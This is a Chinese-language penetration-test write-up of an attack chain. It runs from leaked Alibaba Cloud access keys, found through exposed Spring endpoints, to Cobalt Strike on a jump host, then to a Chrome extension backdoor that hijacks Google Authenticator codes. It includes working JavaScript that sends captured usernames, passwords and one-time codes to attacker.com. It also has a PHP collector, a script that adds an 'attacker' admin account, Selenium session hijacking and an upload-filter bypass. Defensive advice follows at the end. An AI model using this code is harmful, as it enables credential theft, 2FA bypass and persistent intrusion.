AKSK 命令执行到谷歌验证码劫持
字数 1369 2025-08-20 18:18:40

AKSK 命令执行到谷歌验证码劫持渗透测试技术分析

1. 前言

本文详细分析了一次从阿里云AKSK泄露到最终获取目标系统权限的完整渗透过程,重点介绍了Spring敏感信息泄露、AKSK利用、Chrome插件后门开发、Selenium会话维持等关键技术点。

2. 初始信息收集与漏洞发现

2.1 Spring敏感信息泄露

  • 发现目标三级子域名存在Spring接口未授权访问
  • 通过/env接口获取多个密码和阿里云AKSK凭证
  • 调用heapdump接口下载100M+内存转储文件
  • 使用MemoryAnalyzer工具分析内存文件,提取:
    • 阿里云AKSK密文
    • 内网Redis和Mysql明文密码

3. 阿里云AKSK利用

3.1 主机发现与评估

  • 使用获取的AKSK检查阿里云资源:
    • 发现十几台主机
    • 识别关键主机:"xxx-跳板机"(杭州区域)
    • 确认该AKSK属于测试网络,但跳板机可能通向生产网

3.2 命令执行与权限获取

  • 通过AKSK在跳板机执行命令,成功上线Cobalt Strike
  • 信息收集发现:
    • 多个管理账号
    • 大部分为弱口令(如123456)
    • admin1用户使用Chrome打开目标后台且保存了密码
    • 后台受谷歌验证码保护

3.3 防火墙绕过

  • 发现3389端口受防火墙限制,仅允许公司出口IP访问
  • 收集公司出口IP信息
  • 临时添加防火墙规则允许跳板机IP访问3389
  • 使用后及时删除规则避免被发现

4. Chrome验证码劫持技术

4.1 后门插件开发

  • 开发Chrome扩展后门,伪装为常用插件(如百度统计)
  • 功能实现:
    // 监控表单提交事件
    document.addEventListener('submit', captureData);
    document.addEventListener('keypress', function(e) {
      if(e.keyCode == 13) captureData();
    });
    
    function captureData() {
      // 获取账号、密码和验证码
      var username = document.getElementById('username').value;
      var password = document.getElementById('password').value;
      var code = document.querySelector('[name="code"]').value;
    
      // 发送到攻击者服务器
      fetch('https://attacker.com/collect', {
        method: 'POST',
        body: JSON.stringify({u:username, p:password, c:code})
      });
    }
    

4.2 插件隐藏技术

  • 修改插件manifest使其不在扩展栏显示
  • 使用常见插件ID和名称降低怀疑

4.3 服务器端接收

<?php
$data = json_decode(file_get_contents('php://input'), true);
file_put_contents('info.txt', 
    date('Y-m-d H:i:s')." - ".$data['u'].":".$data['p'].":".$data['c']."\n", 
    FILE_APPEND);
file_put_contents('login.txt', 
    $data['u'].":".$data['p'].":".$data['c']);
?>

5. Selenium自动化维持

5.1 自动化登录系统

from selenium import webdriver
import time

def check_and_login():
    with open('login.txt') as f:
        creds = f.read().strip().split(':')
    
    driver = webdriver.Chrome()
    driver.get("https://target.com/login")
    
    # 自动填写凭据
    driver.find_element_by_name('username').send_keys(creds[0])
    driver.find_element_by_name('password').send_keys(creds[1])
    driver.find_element_by_name('code').send_keys(creds[2])
    driver.find_element_by_tag_name('form').submit()
    
    # 维持会话
    while True:
        time.sleep(3)
        driver.refresh()
        # 检查是否仍登录
        if "login" in driver.current_url:
            break

5.2 验证码劫持升级

  • 扩展监控所有表单提交,遍历DOM寻找6位数验证码
  • 使用斯坦福大学加密库实现Google Authenticator算法
  • 动态生成新用户所需的验证码:
    // 使用新密钥生成验证码
    var newKey = generateNewSecret();
    var newCode = generateCode(newKey);
    
    // 使用当前用户验证码发起添加用户请求
    fetch('/api/addUser', {
      method: 'POST',
      body: JSON.stringify({
        newUser: 'attacker',
        newKey: newKey,
        newCode: newCode,
        currentCode: capturedCode
      })
    });
    

6. 最终突破与权限提升

6.1 文件上传绕过

发现公告发布功能存在黑名单过滤:

  • 原始上传 1.php → 被删除 → 结果为 1.
  • 变形上传 1.pphp → 删除.php → 结果为 1.p
  • 高级变形 1.pphphphpp → 删除所有.php → 结果为 1.php

6.2 权限维持

  • 通过一周的Selenium监控捕获管理员登录
  • 自动添加新管理员账户
  • 获取持久化访问权限

7. 防御建议

7.1 预防AKSK泄露

  • 避免在Spring等框架中暴露敏感信息
  • 定期轮换AKSK
  • 使用最小权限原则配置AKSK

7.2 验证码安全

  • 实现验证码一次性使用
  • 关键操作要求重新验证
  • 监控异常验证请求

7.3 浏览器安全

  • 禁用未经验证的浏览器扩展
  • 监控异常网络请求
  • 实施内容安全策略(CSP)

7.4 文件上传防护

  • 使用白名单而非黑名单
  • 结合文件内容检测
  • 上传文件隔离执行

8. 总结

本案例展示了从云服务凭证泄露到最终系统沦陷的完整攻击链,强调了纵深防御的重要性。攻击者通过组合Spring信息泄露、AKSK滥用、浏览器扩展后门、自动化工具等多种技术,最终克服了谷歌验证码等安全措施。防御方需要从多个层面构建防护体系,才能有效抵御此类复杂攻击。

AKSK 命令执行到谷歌验证码劫持渗透测试技术分析 1. 前言 本文详细分析了一次从阿里云AKSK泄露到最终获取目标系统权限的完整渗透过程,重点介绍了Spring敏感信息泄露、AKSK利用、Chrome插件后门开发、Selenium会话维持等关键技术点。 2. 初始信息收集与漏洞发现 2.1 Spring敏感信息泄露 发现目标三级子域名存在Spring接口未授权访问 通过 /env 接口获取多个密码和阿里云AKSK凭证 调用 heapdump 接口下载100M+内存转储文件 使用MemoryAnalyzer工具分析内存文件,提取: 阿里云AKSK密文 内网Redis和Mysql明文密码 3. 阿里云AKSK利用 3.1 主机发现与评估 使用获取的AKSK检查阿里云资源: 发现十几台主机 识别关键主机:"xxx-跳板机"(杭州区域) 确认该AKSK属于测试网络,但跳板机可能通向生产网 3.2 命令执行与权限获取 通过AKSK在跳板机执行命令,成功上线Cobalt Strike 信息收集发现: 多个管理账号 大部分为弱口令(如123456) admin1用户使用Chrome打开目标后台且保存了密码 后台受谷歌验证码保护 3.3 防火墙绕过 发现3389端口受防火墙限制,仅允许公司出口IP访问 收集公司出口IP信息 临时添加防火墙规则允许跳板机IP访问3389 使用后及时删除规则避免被发现 4. Chrome验证码劫持技术 4.1 后门插件开发 开发Chrome扩展后门,伪装为常用插件(如百度统计) 功能实现: 4.2 插件隐藏技术 修改插件manifest使其不在扩展栏显示 使用常见插件ID和名称降低怀疑 4.3 服务器端接收 5. Selenium自动化维持 5.1 自动化登录系统 5.2 验证码劫持升级 扩展监控所有表单提交,遍历DOM寻找6位数验证码 使用斯坦福大学加密库实现Google Authenticator算法 动态生成新用户所需的验证码: 6. 最终突破与权限提升 6.1 文件上传绕过 发现公告发布功能存在黑名单过滤: 原始上传 1.php → 被删除 → 结果为 1. 变形上传 1.pphp → 删除.php → 结果为 1.p 高级变形 1.pphphphpp → 删除所有.php → 结果为 1.php 6.2 权限维持 通过一周的Selenium监控捕获管理员登录 自动添加新管理员账户 获取持久化访问权限 7. 防御建议 7.1 预防AKSK泄露 避免在Spring等框架中暴露敏感信息 定期轮换AKSK 使用最小权限原则配置AKSK 7.2 验证码安全 实现验证码一次性使用 关键操作要求重新验证 监控异常验证请求 7.3 浏览器安全 禁用未经验证的浏览器扩展 监控异常网络请求 实施内容安全策略(CSP) 7.4 文件上传防护 使用白名单而非黑名单 结合文件内容检测 上传文件隔离执行 8. 总结 本案例展示了从云服务凭证泄露到最终系统沦陷的完整攻击链,强调了纵深防御的重要性。攻击者通过组合Spring信息泄露、AKSK滥用、浏览器扩展后门、自动化工具等多种技术,最终克服了谷歌验证码等安全措施。防御方需要从多个层面构建防护体系,才能有效抵御此类复杂攻击。